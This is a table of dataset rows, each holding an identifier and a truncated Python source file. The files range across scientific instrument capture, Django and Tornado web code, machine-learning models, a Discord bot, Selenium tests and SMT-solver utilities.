index int64 0 1,000k | blob_id stringlengths 40 40 | code stringlengths 7 10.4M |
|---|---|---|
13,100 | 77e2faf3ca58fdfcd776fbf11975f1b7c817a28c | '''
AD9434-FMC-500EBZ super simple data capture example
Tested on ZC706 board.
'''
import sys
try:
import iio
except:
print ("iio not found!")
sys.exit(0)
import time, struct
import numpy as np
import matplotlib.pyplot as plt
bufflen = 8192
# Setup Context
my_ip = 'ip:192.168.2.1... |
13,101 | cf91715e4809002b13b89f814a75519ddb5f9ef8 | import pandas
def get_headered_csv_dataframe(path):
with open(path, 'r') as f:
metadata = {}
for line in f:
line = line.strip()
if not line:
continue
elif line in ('Long term averages', 'BLEACH THRESHOLDS'):
break
el... |
13,102 | 5fdfd6783f1c0c2285bcc2219cfadb76f1d8b8af | from apscheduler.schedulers.background import BackgroundScheduler
from . import cron
scheduler = BackgroundScheduler()
scheduler.start()
def start():
global scheduler
# scheduler.add_job(cron.startit, 'interval', seconds=3)
# scheduler.add_job(cron.startit, 'interval', hours=23)
scheduler.add_job(cro... |
13,103 | 2ead00d76b6543bfcd19b9c2b2664a7d06382216 | # Create your views here.
from django.http import HttpResponse
from django.http import HttpResponseRedirect
def index(request):
return HttpResponse("Hello, world. You're at the poll index.")
# recall or note that %s means, "subsitute in a string"
def detail(request, poll_id):
return HttpResponse("You're lo... |
13,104 | 8406c2656e297a5c1ce84259db25e2ee9517b73d |
##
# Bucket sorting of the array. Implicit assumption that all
# elements are less than 100
##
def bucketSort(array):
buckets = [[],[],[],[],[],[],[],[],[],[]]
for element in array:
bucketNumber = int(element / 10)
buckets[bucketNumber].append(element)
returnArray = []
for bucket in buckets:
bucket... |
13,105 | cfce672ae58e0f5beb73a86d785727806d57aebd | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import setuptools
version_file = open(os.path.join(".", "VERSION"))
version = version_file.read().strip()
download_url = \
'https://github.com/dudektria/pnictogen/archive/{:s}.tar.gz'.format(version)
doclines = """pnictogen: input generation for computationa... |
13,106 | 8d1a99a738b13c2effeb8072edc55426ec4c4977 | from django.shortcuts import render, redirect
from MyApp import connections as conn
from MyApp import constants
from MyApp.models import *
import json
import pymongo
# Create your views here.
# index page
def Homepage(request):
return render(request,'index.html')
def getTwitter(request):
Twitter_data()
... |
13,107 | 0a2b4833f6a7df1bc713e11ebdb9a924b3b8e09f | import mcutk
from mcutk.apps import appfactory
App = appfactory('iar')
app =App.get_latest()
print app.version
print app.path
print app.is_ready |
13,108 | 24eb052c55ff38b76554ef46d5907664d4b8ffc3 | class Student:
school="DNS"
def __init__(self,m1,m2,m3):
self.m1=m1
self.m2=m2
self.m3=m3
def avg(self):
return (self.m1+self.m2+self.m3)/3
@classmethod #class method
def schooldet(cls):
cls.school="Subharti"
return cls.school
@staticmethod
... |
13,109 | 3847ec095302e8a39f3b1f2df7cd487c169e84b4 | class Solution:
def fullJustify(self, words: List[str], maxWidth: int) -> List[str]:
if(words):
len_words = len(words)
if(len_words==1):
s = words[0]
s = s + " "*(maxWidth - len(s))
l=[]
l.append(s)
retur... |
13,110 | e57b7854247602ccb4399bb4fa8f03a1d71ea4c3 |
class Eva2Simulation:
def __init__(self, standort, standort_id, fruchtfolge, anlage, fruchtfolge_glied=None):
self.__standort = standort
self.__standort_id = standort_id
self.__fruchtfolge = fruchtfolge
self.__anlage = anlage
self.__fruchtfolge_glied = fruchtfolge_gli... |
13,111 | 6a70ada651bcafcd75b8032640331f6d194eaacb | from sqlalchemy import create_engine
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker
SQLALCHEMY_DATABASE_URL = "sqlite:///./sql_app.db"
# SQLALCHEMY_DATABASE_URL = "postgresql://user:password@postgresserver/db"
# connect_args={"check_same_thread": False} аргумент, требу... |
13,112 | c343c8d68b373dfdd6969cea328d715381def28e | from keras import layers
from keras import models
from keras import optimizers
from keras.preprocessing.image import ImageDataGenerator
import pickle
import conf
model = models.Sequential()
model.add(layers.Conv2D(32, (3, 3), activation='relu',
input_shape=(150, 150, 3)))
model.add(layers.MaxP... |
13,113 | 6e070ec7c512957ae19f2a7bf6933dd58fef378c | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Fri Nov 29 00:11:38 2019
@author: eric
"""
#Partie 1 -
"""la premier etape ici est d'importer les librairie qui nous aiderons dans
l'importation et le traitements sur nos differentes images."""
""" initialisation ANNs"""
from keras.models import Sequenti... |
13,114 | 578e2b394a42bd81fee3c46a47a9c9885a24859b | CSS_TO_EMOTE = {
"pennant teamtl" : ":teamliquid:",
"pennant teamsecret" : ":teamsecret:",
"pennant teamig" : ":invictus:",
"pennant teamvici" : ":vici:",
"pennant teamfnatic" : ":fnatic:",
"pennant teamtnc" : ":tnc:",
"pennant teamvp" : ":virtuspro:",
"pennant teamnavi" : ":navi:",
... |
13,115 | 5cd3749373911de8a129c057768de32c34794f4d | from __future__ import division
import numpy as np
def relperm(s, Fluid): # Return Mw, Mo, dMw, dMo
# S = (s-Fluid['swc'])/(1.0-Fluid['swc']-Fluid['sor'])
# Mw = np.square(S)/Fluid['vw']
# Mo = np.square(1.0-S)/Fluid['vo']
# dMw = 2.0*S/Fluid['vw']/(1.0-Fluid['swc']-Fluid['sor'])
# dMo = -2.0*(1... |
13,116 | 4d8332cb9ad77df7f4cff5f5563f870eed4a1331 | background_actions.py
import discord
import asyncio
from discord.ext.commands import Bot
from discord.ext import commands
client = Bot(description="BOT DESCRIPTION HERE", command_prefix="BOT PREFIX HERE", pm_help = False) #add_your_bot_description_with_prefix_here
@client.event
async def on_ready():
print('Logged i... |
13,117 | c92050d4fcc76866e53192c74915c143e1b533d2 |
from .msgflo import *
|
13,118 | b38b1cdfc5017ab0898085bc85a70e02cbaeb8ad | import logging
import numpy as np
import pdb
import torch
import torch.nn as nn
from logger import *
from deep_q_agent import DeepQAgent
from self_play_episodes import self_play_episodes
from mdp import Connect4MDP
logger = logging.getLogger(__name__)
class Trainer:
"""
Class for training deep q agents and t... |
13,119 | 9d69e8273d796d72ca62f868462427b5dbf4a826 | import numpy as np
import matplotlib.pyplot as plt
import gym
import gym_bandits
import matplotlib.patches as mpatches
def main():
# Number of bandits
num_of_bandits = 10
# For each episode we will run these many iterations
iterations = 1000
episodes = 1000
# Create environment - Gaussian Di... |
13,120 | e2c7e8900ac6dc675a6135f4cd92bbb0e64ad17a | import lief
import yaml
import struct
virtualBaseAddress = 0x401000
textFileOffset = 0x400
binary = lief.parse("src/bayonetta.so")
symbols = binary.symbols
with open("link_map.yaml", "r") as stream:
data_loaded = yaml.load(stream)
f = open("out/Bayonetta.exe", "r+b")
for s in symbols:
if data_loaded.get(s.... |
13,121 | c5e6bf01689ab90a30d864069253c26545d32dcd | import numpy as np
import matplotlib.pyplot as plt
COLNUM = (0, 2, 13)
# def univariate_regression():
def read_file():
with open('housing.data') as f:
content = f.readlines()
content = [x.strip().split() for x in content]
for i in range(len(content)):
content[i] = [float(x) for x in cont... |
13,122 | 101c03eb24aa7e26e9f7ffc641aef85193d053c3 | from Book import *
from Client import *
from Rental import *
from BookRepo import *
from ClientRepo import *
from RentalRepo import *
from Service import *
from UndoController import *
import datetime
class UI:
def __init__(self,BookRepo,ClientRepo,RentalRepo,Service,UndoController):
self._bookRepo=BookRepo... |
13,123 | e73aedd957073c92475bbf71c46b5e340f9a49b4 | import json
json_string = u'{ "id":"mark@foo.com" }'
obj = json.loads(json_string)
print obj |
13,124 | d86054682110428a0074e3db853fa6bb5cd82340 | import jsons
from block import Block
# Basically just a linked list
from blockchain import Blockchain
# Save the block to the filesystem
def save_block(block):
chaindata_dir = 'chaindata'
# Generate filename by interpolating a string, will be saved as json
# i.e chaindata/42.json is block 42 in the chai... |
13,125 | b5f7e514bf1195bd904b28cf0c9a20e63f338e4b | class NativeDictionary:
def __init__(self, sz):
self.size = sz
self.slots = [None] * self.size
self.values = [None] * self.size
def hash_fun(self, key):
# в качестве key поступают строки!
# всегда возвращает корректный индекс слота
if self.is_key(key):
... |
13,126 | 4204bbb18ca3b855278c0f39ddd1c82d5f7a21cd | import argparse
import sys
from scapy.all import *
from uuid import getnode
def find_my_IP_and_MAC():
""" I send echo pck when the ttl is 0 so when it arrive to the GW he send me back a TTL ERROR (ICMP MESSEGE)
, the dst is our ip.
"""
mac = ':'.join(re.findall('..', '%012x' % getnode()))
# I write... |
13,127 | 7d7c0e7c09cb371221e46cb3aaee6f19c2eba6fd | from ._sklearn import get_sklearn_wrapper as get_sklearn_wrapper
from sklearn import set_config
from hcrystalball.utils import optional_import
set_config(print_changed_only=False)
__all__ = ["get_sklearn_wrapper"]
__all__.extend(optional_import("hcrystalball.wrappers._prophet", "ProphetWrapper", globals()))
__all__.... |
13,128 | bb5f1d340a940b85f047a6925e352013183984b5 | # -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
from odoo import api, fields, models, _
from odoo.exceptions import UserError, ValidationError
from datetime import datetime
import pytz
class CrmTeam(models.Model):
_inherit = 'crm.team'
pos_config_ids = fiel... |
13,129 | e2a1be7c4bb343b0b21dce9641653db46eeb405d | # -*- coding: utf-8 -*-
import sys
import time
reload(sys)
sys.setdefaultencoding('utf-8')
class obj:
def __init__(self,name,age):
self.__name=name
self.__age=age
# 把这些设置成私有变量
@property
def age(self):
return self.__age
@age.setter
def age(self,value):
if isin... |
13,130 | d7be37c80b36d07e5b1269b145e33b88e198cb7d | import pygame as pg
FILEDIR = 'data'
tile_images = {
'wall': pg.image.load('{}/box.png'.format(FILEDIR)),
'empty': pg.image.load('{}/grass.png'.format(FILEDIR))
}
player_image = pg.image.load('{}/mario.png'.format(FILEDIR))
tile_width = tile_height = 50
player = None
# группы спрайтов
all_sprites = pg.sprite... |
13,131 | 449ef3403e52d5a3764d12103a491f0cace6e7fa | """
Project Name: Untitled Zombie Game
File Name: Constants.py
Author: Lex Hall
Last Updated: 11-15-2018
Python Version: 3.6
Pygame Version: 1.9.3
"""
# COLORS #
WHITE = (255, 255, 255)
BLACK = (0, 0, 0)
RED = (255, 0, 0)
FOG_OF_WAR = (220, 220, 220)
# COLORS #
FRAME_RATE = 60
WINDOW_X = 800
WINDOW_Y = 800
GAMEMAP... |
13,132 | f23508b5cef88d4163548d64ba560147f3b14ba5 | from rest_framework.generics import ListAPIView, CreateAPIView
from .models import NumberCounter
from .serializers import UnpairedSerializer, NumberCounterSerializer
class UnpairedAPIView(CreateAPIView):
"""
API View for send data list via POST method.
"""
serializer_class = UnpairedSerializer
clas... |
13,133 | e75da6623edb33177a9c30e11fc345ccb1604edd | """
this file takes the converted blazeface coreml model from convert_blazeface.py
and adds Non-maximum suppresion to create a pipeline.
currently multiple outputs in coreML with tf2.0 Keras is not working so working around to change the single
output in coreml to multiple output
"""
import coremltools
from coremltool... |
13,134 | 03bac25624fd29f5dbbcbf7454556ce420f58e20 | import time
import datetime
import cflw代码库py.cflw时间 as 时间
def f解析日期时间(a):
"""转换成time.struct_time"""
if isinstance(a, time.struct_time):
return a
elif isinstance(a, datetime.datetime):
return a.timetuple()
else:
raise TypeError("无法解析的类型")
def f解析时区(a):
"""把datetime.tzinfo对象原封不动返回
把"时区名±时:分"解析成datetime.timezo... |
13,135 | 39796e6309e0e99e32b0cb513c0144780847dcc9 | #!/usr/bin/python
# -*- coding: utf-8 -*-
from . import MonoSubCipher
from utils.alphabet import *
class AffineCipher(MonoSubCipher):
def __init__(self, alphabet, m, b):
""" multiply mx + b """
# We're cheating here by not actually having the decryption method use the "inverse" argument
tr... |
13,136 | 801a861f2d8fab540fb6225be46064eb4f81564a | # -*- coding:utf-8 -*-
from titan import tt_check
from taocheM.base_m import Base
from taocheM.config_m import TestConfig
from taocheM.locator_m import CarDetail_Locator
from time import sleep
from titan.tt_log import LOG
from titan import SeleniumDriver
detail_url = 'https://m.taoche.com/buycar/b-dealermd233736134t.... |
13,137 | aa51f8cc9a11e4b4242d1ba15bd82113bd3fe4b9 | """
Given a char array representing tasks CPU need to do. It contains capital letters A to Z where different letters represent different tasks.Tasks could be done without original order. Each task could be done in one interval. For each interval, CPU could finish one task or just be idle.
However, there is a non-negat... |
13,138 | a8b3fa2e3254b1d8037fd787dcf67cf43227c261 | import math
import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
import scipy.stats
data = pd.read_pickle("data.pkl")
# print(str(data))
# columns=["game_mode", "observability", "agents", "game_seed", "instance", "event_id", "event_data"]
# Event id: [bomb, death, pickup]
# Event data bomb: (tick, re... |
13,139 | 35470278e2e9199daf8ccfcb68e645fa8c49bad4 | from selenium.webdriver.common.by import By
class Locator:
"""Locator objects for finding Selenium WebElements"""
def __init__(self, l_type, selector):
self.l_type = l_type
self.selector = selector
def parameterize(self, *args):
self.selector = self.selector.format(*args)
class ... |
13,140 | c95cff27a8873fd039a4e9d8e65a147ae119e9c8 | # (c) 2019-2020 Mikhail Paulyshka
# SPDX-License-Identifier: MIT
import ctypes
import logging
import os
import platform
from .wgc_constants import USER_PROFILE_URLS
### Platform
def get_platform() -> str:
system = platform.system()
if system == 'Windows':
return 'windows'
if system == 'Darwin':
... |
13,141 | 4746510a1b1f34132cfad80da1547d00b687c119 | # Copyright 2017 Janos Czentye, Balazs Nemeth, Balazs Sonkoly
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at:
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable... |
13,142 | 5f391511d3b4ced69ad0dff37b573f1dd19945ef | ksql="""create stream clickevents(
uri int,
)
WITH(KAFKA_TOPIC="",VALUE_FORMAT="AVRO")
""" |
13,143 | c8a676327d51f65f084217b43de089924c2df86a | import random
lista = (0, 1, 2, 3, 4, 5)
num1 = random.choice(lista)
#print(num1)
print('Pensei em um numero, tente adivinhar...')
num2 = int(input('Digite um numero de 1 a 5: '))
print('voce acertou o numero escolido!' if num1==num2 else 'voce errou o numero é {}'.format(num1))
print('Parabens!!!'if num1==num2 else'Te... |
13,144 | fdd6a9fb7e1f297f3560ccd4ca2e29eec3e4956d | from cep_price_console.utils.utils import is_path_exists_or_creatable, creation_date
from cep_price_console.db_management.server_utils import mysql_login_required
from cep_price_console.utils.log_utils import debug, CustomAdapter
from cep_price_console.utils.excel_utils import Workbook
import cep_price_console.db_manag... |
13,145 | c9dfa563cb1c5a00c77946ac4bc209805de42021 | # -*- coding: utf-8 -*-
"""Day 5 Python B7.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/183SIqL4bd1jBHBBW0Y54EB_geafSrBbW
# Assignment 1 Day 5
"""
Listy = []
n = int(input("Enter no. of elements in the list: "))
for i in range(0,n):
eleme... |
13,146 | a697fb59a51cd243205429e4f97edfa6d397e1a3 | from kivy.clock import Clock
from kivy.uix.label import Label
from kivy.uix.widget import Widget
from kivy.uix.screenmanager import ScreenManager, Screen
from kivy.graphics import Canvas, Line, Rectangle, Ellipse, Color, Triangle
from kivy.core.window import Window
from functions.function import grid_function... |
13,147 | 0760d755324239ff91e19d977cd31cf3a07e9fd8 | import yaml
from datetime import datetime
from pymongo import MongoClient
from utils import config
# read configuration
cfg = config()
# open DB connection
mongo = MongoClient(cfg['mongo']['host'], cfg['mongo']['port'])
db = mongo.teryt
# functions to manipulate county collection
class CountyDAO:
# get all... |
13,148 | bffe76b7a517791aadfd3b12104500189f472a2d | __author__ = 'tomislav'
from celery.decorators import periodic_task,task
from .amazon_api import ProductAdvertisingAPI
from .models import Settings
from datetime import timedelta,datetime
import logging
import requests
import lxml.html
import re
from .models import Item
class Parser:
def __call__(self, *args, *... |
13,149 | cd380f18c7d47aab90558f7754cf8554445a534b | import random
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
import sys
sys.path.append(".")
from ..intrinsic_reward import IntrinsicReward
from .model import RNDNetwork
class RND(IntrinsicReward):
"""
Random Network Distillation (RND) cla... |
13,150 | 5e7394292d276d30ea61260b19aea4cbd2fec09c | import torch
from laplace_v3.func_lib import yorick_delta_relu_sq
x = torch.tensor(0.5, requires_grad=True)
y = yorick_delta_relu_sq(x)
y.backward()
print(x.grad)
x = torch.tensor(2., requires_grad=True)
y = yorick_delta_relu_sq(x)
y.backward()
print(x.grad)
x = torch.tensor(0., requires_grad=True)
y = yorick_delta... |
13,151 | beb2c324874fd2c1425818342c955ab481f33d17 | from django import forms
from django.contrib.auth.models import User
from django.contrib.auth import authenticate
from django.utils.translation import ugettext_lazy as _
class LoginForm(forms.Form):
"""
A form for logging in users
"""
email = forms.EmailField(label="E-mail", help_text = "Required",
... |
13,152 | 8d704ccbd467dbec1a67f1b1f53069eea4dd75bc | # coding=utf-8
"""
Collect [Yammer Metrics](http://metrics.codahale.com/) metrics via HTTP
#### Dependencies
* urlib2
"""
import urllib2
try:
import json
json # workaround for pyflakes issue #13
except ImportError:
import simplejson as json
import diamond.collector
class YammerCollector(diamond.... |
13,153 | 906ad4c55ebd258564f3663f69659f6eab7ce429 | # -*- coding: utf-8 -*-
# Generated by Django 1.11.6 on 2017-12-07 00:16
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('mainpage', '0001_initial'),
]
operations = [
migrations.AlterModelOptions(
... |
13,154 | 9c898cd115dc27f8f06bc940ddec7ca4bce929e8 | from src import predict
from src import data
from src import neon_paths
from glob import glob
import geopandas as gpd
import traceback
from src.start_cluster import start
from src.models import multi_stage
from distributed import wait
import os
import re
from pytorch_lightning.loggers import CometLogger
from pytorch_l... |
13,155 | 2d93f3de6f5304003ad46b36e10d26aa3e0bf596 | ##coding = utf -8
## The script is mainly for mining all the inserted TEs in nested TE sequences !!
Emmer_dir='/home/lab706/jerryliu/Agenome_project/output_RM_Emmer/formated_TE/'
CS_dir='/home/lab706/jerryliu/Agenome_project/CS_format_conversion/formated_TE/'
Tu_dir='/home/lab706/jerryliu/Agenome_project/Tu_format_c... |
13,156 | 548797889c978ebd4195a8cca39d642107192ba0 | """
Helpful utility functions
"""
from __future__ import unicode_literals
import six
import random
import time
import base64
import re
from datetime import datetime, timedelta
from dateutil import parser, tz
import logging
logger = logging.getLogger(__name__)
def to_bytes(data):
return data.encode('utf-8') if i... |
13,157 | c17f44f328689d9ea19fed3024ea3137304bf1af | # Generated by Django 3.1 on 2020-09-11 06:56
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('hamrokheti_home', '0004_auto_20200911_1229'),
]
operations = [
migrations.AddField(
model_name='fundfarm',
name='tenur... |
13,158 | d737e899fca1ff5a4a6259745042d403f7f7bf92 | # argv[0]: Output file name.
# argv[1]: Template file name. Template file must be in templates dir.
# argv[2]: Tag(branch) name.
import sys, os
from jinja2 import Environment, FileSystemLoader
template_dir = 'templates'
env = Environment(loader=FileSystemLoader(os.path.join(os.path.dirname(__file__), template_dir)))
... |
13,159 | 977fdbed24614b508bf4ffea420b8b493a95e1b9 | import pandas as pd
import numpy as np
from sklearn.metrics import accuracy_score, precision_score, r2_score, recall_score
from sklearn.ensemble import GradientBoostingClassifier, RandomForestClassifier
from sklearn.tree import DecisionTreeRegressor
from sklearn.ensemble import RandomForestRegressor
from sklearn.... |
13,160 | 6e506bfd660db54f31a26ea99e30b38a3394bb1a | import itertools
test = [5, 2, 1, 9, 50, 56]
test2 = list(itertools.permutations(test))
#print(test2)
strBuilder = ""
temp = 0
strNum = 0
for x in test2:
l = list(x)
for j in l:
strBuilder += str(j)
strNum = int(strBuilder)
strBuilder = ""
if strNum > temp:
temp = strNum
print... |
13,161 | a3ce327a8a2f16d006735c14568d8704f7608149 | from django.urls import path
from transfer.api.views import TransferCreateAPIView, TransferDownloadAPIView, TransferStatisticsAPIView
urlpatterns = [
path('create/', TransferCreateAPIView.as_view()),
path('statistics/', TransferStatisticsAPIView.as_view()),
path('download/<slug:url_hash>', TransferDownloa... |
13,162 | 25982563aae0c1802876dcb67f91185ece25697e | # __author__ = Chen Meiying
# -*- coding: utf-8 -*-
# 2019/3/15 9:39
# 整理数据:在dataset1中加上涨跌幅
# 记住要改三个地方!!
import numpy as np
import pandas as pd
import h5py
dates = [ '20050401','20050501', '20050601', '20050701', '20050801', '20050901', '20051001', '20051101', '20051201', '20060101', '20060201', '20060301', '2006040... |
13,163 | b35116cae92c10ec561058dd28a2ba735b3c3b1f | import pygame
import enum
class GunMenu(enum.Enum):
BAZOOKA = pygame.transform.scale(pygame.image.load('Pics/GunMenu/FirstChosen.png'), (160, 50))
GRENADE = pygame.transform.scale(pygame.image.load('Pics/GunMenu/SecondChosen.png'), (160, 50))
HOLYBOMB = pygame.transform.scale(pygame.image.load... |
13,164 | 1457e0ba5ca548245751e215105c55cfa54cb660 | class Block:
def __init__(self, value, next_block):
self.value = value
self.next = next_block
class Queue:
def __init__(self):
self.first = None
self.last = None
def collect(self):
t = []
q = self.first
while q is not None:
t.append(q.va... |
13,165 | 1349b2fa8d24365f3393006abe52c4fa982ca436 | import os.path
import shutil
import pickle
import urllib.request
import zipfile
import datetime
import numpy as np
import pandas as pd
from io import BytesIO
import os
import sys
import subprocess
import re
from urllib.request import urlopen
from energy_constraint import *
print('Begin script ' + str(datetime.datetime... |
13,166 | 48c7cbb922d8fa63dd759b27d7f4a09e7eb12cc1 | #!/usr/bin/env python
#######################################################################################
########### Used to spawn different car modules #######################################
#######################################################################################
from __future__ import absolute... |
13,167 | 4d81f9fd95cb285139f7a2febae1ab8f6cf26d42 | import rejig.pybytecode
from rejig.syntaxtree import *
def check(what_is, what_should_be):
global failed, total
env = {}
if "\n" in what_is or " = " in what_is or "def " in what_is or "print(" in what_is:
exec("def f():\n " + "\n ".join(what_is.split("\n")), env)
else:
exec("def f... |
13,168 | 66510609ef28eb6141f244ef018ee35b3b1f5709 | from .data import preprocess_dataset
|
13,169 | 58499617f385bd3aa532d655fe99293ee40e65a7 | import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
data = pd.read_csv("Invoice.csv")
data.head()
data.info()
data.describe()
df=pd.DataFrame(data)
df.drop(['Amount 1'],axis=1,inplace=True)
df =df.iloc[:, ~df.columns.str.contains('Unnamed')]
df.info()
... |
13,170 | 9fff54fe3ce0c9a30ae1d36992c85be6a1cc61f9 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2015-06-09 20:53:40
# @Author : Your Name (you@example.org)
# @Link : http://example.org
# @Version : $Id$
import tornado.web
from tornado.web import asynchronous
from tornado.options import options
import json
from bson import ObjectId
from log import get... |
13,171 | 58cfa50ea0489ac8aec88cbc4052f93a4ca46321 | from abc import ABCMeta, abstractmethod
class Cost(object):
__metaclass__ = ABCMeta
@abstractmethod
def lagr(self, x):
"""Running cost function (Lagrangian)
:param x: state
:return: running cost
"""
return
@abstractmethod
def phi(self, x):
"""Term... |
13,172 | e6a6207265e092509226fd3b714b92544ac1ceb5 | import h5py
import numpy as np
from os.path import dirname, realpath
from scipy.signal import butter, filtfilt, lfilter
from utils.filters import dc_blocker, magic_filter_taps
data_dir = dirname(dirname(dirname(realpath(__file__)))) + '/data/'
def load_feedback(ica_artifact=False, csp_alpha=False, signal_name='left... |
13,173 | 5863b7b9a1f70f04e8eaa3abaec6f6113c4f2f61 | import argparse
import glob
import os
import re
import shutil
import sys
import tarfile
import webbrowser
from argparse import RawTextHelpFormatter
from tarfile import TarFile
from time import process_time
from zipfile import ZipFile
import PySimpleGUI as sg
from six.moves.configparser import RawConfigParser
from ext... |
13,174 | 806f251055c09ac604fa0a12c165da8b5f902232 | """
def decorator(func):
def decorated():
print('함수시작!')
func()
print('함수 끝!')
return decorated
@decorator
def hello_world():
print('hello_world')
hello_world()
"""
def decorator(area_func):
def decorated(x, y):
if x >= 0 and y >= 0:
return area_func(x,y... |
13,175 | 9ae7f0cadae040bfe49204bd9b5c971d55de6503 | #! /usr/bin/env python
# coding: utf8
#
# Moves the pan and tilt module and performs calculations to
# determine the distance and rotation to the edge of a desk.
import sys
import math
sys.path.insert(0, "../../lib/PiconZero/Python")
DEBUG = False
def getDistanceAndRotationToEdge(l, f, r):
""" Calculate the di... |
13,176 | 03ba7a367bde6dd33d033b762461f21c7b290441 | """
Twisted connection type.
See COPYING for license information
"""
from zope import interface
from object_storage.transport import requote_path
from object_storage.errors import NotFound
from object_storage.transport import Response, BaseAuthenticatedConnection, \
BaseAuthentication
from object_storage ... |
13,177 | ba0d1b42a84f79a9a88cda3796b0131321a198a1 | # Generated by Django 2.2.4 on 2020-05-04 16:33
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('IT_company', '0043_auto_20200504_1920'),
]
operations = [
migrations.AlterField(
model_name='client',
name='ClientEm... |
13,178 | e957c4d47cceeefabdfb5df33b20bb020de70c37 | # coding:utf-8
from MongoDb2Csv.MongoBaseDao import MongoBaseDao
import pandas as pd
class MongodbToCsv:
"""
将MongoDB中的数据按照一定的条件取出,删除部分后再存为Csv格式
"""
def __init__(self):
"""
实例化一个操作mongo的对象
"""
self.__mongo = MongoBaseDao('192.168.65.119', 27017, 'spider')
def rea... |
13,179 | 3543c4ec1b716982b767e768de03465c2f6bb5a4 | from dataset.citation import Citation
from dataset.hypergrad_mnist import *
|
13,180 | a2177f35916e534129ee3e2072bd6d3a4203d1f0 | t=input()
while(t>0):
t=t-1
s=raw_input()
r=s[::-1]
if r == s :
print "YES"
else:
print "NO" |
13,181 | e943a79a8a609cac970f8a4bebdfd98b5874aa52 | # -*- coding: utf-8 -*-
# vim: ft=python
"""
Pytest fixtures for all lfulib tests.
"""
# Import Python Libs.
from __future__ import absolute_import
from collections import deque
# Imports to others.
__all__ = []
FREQUENCY = {
1: deque([2, 3]),
2: deque([1]),
}
NOT_FOUND = -1
|
13,182 | 80c5a9f11ecbe590be0cc0620c2f9f275cc6d463 | """sonar URL Configuration"""
from django.conf.urls import url, include
from .views import qa_metrics_home, qa_metrics_api
urlpatterns = [
url(r'^$', qa_metrics_home, name='qa_metrics_home'),
url(r'^(?P<project_id>[0-9]+)/(?P<start_date>[0-9 + : T -]+)/(?P<end_date>[0-9 + : T -]+)/$', qa_metrics_api, name='qa... |
13,183 | 918faeb71dfaec234c46316302427fd6a6dd205f | import pytest
from hypothesis import given
from hypothesis.strategies import floats, data, sampled_from
from dp800.dp800 import DP832
@pytest.fixture
def instrument():
from test.fake_visa_dp832 import FakeVisaDP832
visa_dp832 = FakeVisaDP832()
dp832 = DP832(visa_dp832)
return dp832
def test_channe... |
13,184 | 80c88ffc5991cd732a905ccf0680c42c6f06813a | import sys
max_temp, min_temp = float('-inf'), float('inf')
# input comes from STDIN (standard input)
for line in sys.stdin:
# remove leading and trailing whitespace
line = line.strip()
# split the line into tokens
_, time, temperature = line.split(',')
try:
temperature = float(temperature.... |
13,185 | a6ace19c1bb2c3369120319299ac34e1c6165830 | # Generated by Django 3.1.2 on 2020-10-21 11:34
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('nus', '0006_establishments_patrons_queries_reservations'),
]
operations = [
migrations.AddField(
model_name='establishments',
... |
13,186 | e2b2217000679d4df0dcbd294f143d68947843cb | from .UpdaterTransmissionNegotiation import NegotiationResultInterface, TransmissionNegotiationInterface
from .Updater import UpdaterInterface, UpdaterAlgorithmInterface
from .UpdaterDataProcessor import UpdaterDataProcessorInterface
from .UpdaterDataAssembly import DataAssemblyInterface
|
13,187 | d50e3c6febbe5fce2d00bbcfee8d3e6999433180 | import pandas as pd
import numpy as np
try:
f=open("GSE10810_series_matrix.txt")
except IOError:
print("File myfile.fa does not exist!!")
Y = []
for line in f:
line = line.rstrip()
if line[29:55] == 'tumor (t) vs healthy (s): ':
Y = line.split("\t")
break
for i in range(0, len(Y)):
... |
13,188 | 482340a7dd428c5f0c682963e78630e6fdfb34dd | import os
import random
from typing import List, Tuple, Callable
import tensorflow as tf
import cpath
from cache import load_pickle_from, save_list_to_jsonl_w_fn
from data_generator.NLI.nli_info import nli_tokenized_path
from data_generator.job_runner import WorkerInterface
from dataset_specific.mnli.mnli_reader impo... |
13,189 | caa5d0eadd0f78630c929ebb0be7c7d78af30fdc | from turtle import Turtle
class Paddle(Turtle):
def __init__(self, x_position, y_position) -> None:
super().__init__()
self.penup()
self.shape("square")
self.color("white")
self.shapesize(stretch_len=1, stretch_wid=5)
self.width(20)
self.x_position = x_positi... |
13,190 | 38906618e24abef24aa43c0cbbdd1313760544c1 | # coding=utf-8
import numpy as np
# from sklearn.externals import joblib
import joblib
from sklearn.metrics import confusion_matrix
# from sklearn.datasets import make_blobs
from sklearn.ensemble import RandomForestClassifier
# from sklearn.ensemble import ExtraTreesClassifier
# from sklearn.tree import DecisionTreeCla... |
13,191 | c6a1d978c1a906722a5aaacbb8863e6904a809ab | import pygame
import time
import sys
black = pygame.Color(0, 0, 0)
white = pygame.Color(255, 255, 255)
red = pygame.Color(255, 0, 0)
green = pygame.Color(0, 255, 0)
blue = pygame.Color(0, 0, 255)
clock=pygame.time.Clock()
screen = pygame.init()
pygame.display.set_caption('snake game')
game_window = pygame.displa... |
13,192 | 567b34402d0c249f96ca9d5d9be3863d41f5f661 | #!/usr/bin/python
import sys
#Print a list of usernames
filename = "/etc/shadow"
myfile = open(filename)
lines = myfile.readlines()
myfile.close()
PASSONLY = False
if(len(sys.argv)>1 and sys.argv[1]=='-p'):
PASSONLY = True
for line in lines:
#put code here
tokens = line.split(':')
if(PASSONLY):
if(len(tokens[1]... |
13,193 | d3ed77e9897fce94816982f6cf15b88f076fbba8 | from typing import Iterator, Tuple, List, Optional, Union, Dict, FrozenSet, Set
from itertools import count, chain
from enum import IntEnum
from pysmt.fnode import FNode
import pysmt.typing as types
from pysmt.environment import Environment as PysmtEnv
from pysmt.exceptions import SolverReturnedUnknownResultError
fro... |
